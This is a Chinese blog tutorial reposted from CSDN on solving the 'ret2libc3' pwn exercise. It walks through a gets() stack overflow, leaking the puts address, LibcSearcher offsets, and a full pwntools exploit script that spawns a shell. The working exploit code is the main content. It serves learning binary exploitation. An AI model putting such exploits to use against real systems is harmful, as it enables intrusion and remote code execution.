Return to Libc 3

Return to Libc 3

1、IDA分析程序,审计源码,查找漏洞。
在这里插入图片描述IDA分析程序,没有system函数和‘/bin/sh’这个字符串,需要我们自己找到。(通过libc的固定偏移)
发现漏洞gets,可以利用栈溢出,使函数跳转到system,最后getshell。

我们的思路就是构造payload泄漏libc的版本通过加载这个版本的libc来获取程序中system函数和”/bin/sh”字符串的偏移。

2、再checksec,看下程序有哪些保护。
checksec
很幸运发现没有Canary保护,我们在构造payload的时候就简单了很多。(不需要泄露canary)
3、同之前的实验一样,寻找泄露地址,计算栈的填充量。
在这里插入图片描述4、写脚本

  1. 基本环境设置
    在这里插入图片描述

  2. 构造payload1,使函数返回puts的真实函数地址(got表中,不过好像也不是真实物理地址)

    payload1 = ‘a’*112 + p32(puts_plt) + p32(main_plt) + p32(puts_got)

其中’a’*112为填充栈,然后将(puts_plt)设为函数返回地址,进入libc,main_plt(忘了,下次补,栈的结构基本知识,使得puts之后再次进入main);puts_got是puts的参数,借此得到puts的真实函数地址。

  1. 利用LibcSearcher查询libc版本,得到system,binsh的固定偏移量。

    在这里插入图片描述

  2. 计算system,binsh的“真实”地址
    原理:

system_addr - libc_system = puts_addr - libc_puts = libc的偏移量
system_addr = puts_addr + (libc_system - libc_puts)

system_addr = puts_addr - puts_libc + system_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
  1. 构造payload2

    payload_getshell = ‘a’ * 104 + p32(system_addr) + p32(66666) + p32(binsh_addr)

    #同理’a’为填充量,用system的真实加载地址覆盖ret,并带入参数binsh,最终getshell。
    注意: 'a’的填充量要画堆栈图,并不是原来的112。大坑!!

在这里插入图片描述
最终exp

#!/usr/bin/python
# -*- coding:utf-8 -*-


from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gome-terminal','-x','sh','-c']

#获取elf文件中的puts,_start,puts
elf=ELF('./ret2libc3')
puts_plt=elf.plt['puts']

puts_got=elf.got['puts']


#创建进程,运行
p=process('./ret2libc3')
#  gdb跟进程序进程
#pwnlib.gdb.attach(p)

p.readuntil("!?")

main=0x8048618  
payload = 'a'*112 + p32(puts_plt)  + p32(main) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print("puts_ addr:" + hex(puts_addr))
#libc=ELF("libc6_2.3.2.ds1-13ubuntu2.2_amd64.so")
#获取libc中的puts,system,/bin/sh的实际地址
#puts_libc = libc.symbols['puts']
#system_libc =libc.symbols['system']
#binsh_libc = next(libc.search("/bin/sh"))

libc = LibcSearcher('puts',puts_addr)
print(libc)
puts_libc = libc.dump('puts')
print(puts_libc)
system_libc = libc.dump('system')
print(system_libc)
binsh_libc = libc.dump('str_bin_sh')
print(binsh_libc)


#计算system,/bin/sh的实际加载地址
system_addr = puts_addr - puts_libc + system_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
print("system_addr:" + hex(system_addr))
print("binsh_addr:" + hex(binsh_addr))

payload_getshell = 'a' * 104 + p32(system_addr) + p32(66666) + p32(binsh_addr)
#这里开头‘A’的数量要具体到堆栈里调试观察,因为main函数开头先将ESP最后一位变为0即16位对齐,再减128.
p.sendline(payload_getshell)
p.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_43467772/article/details/88809786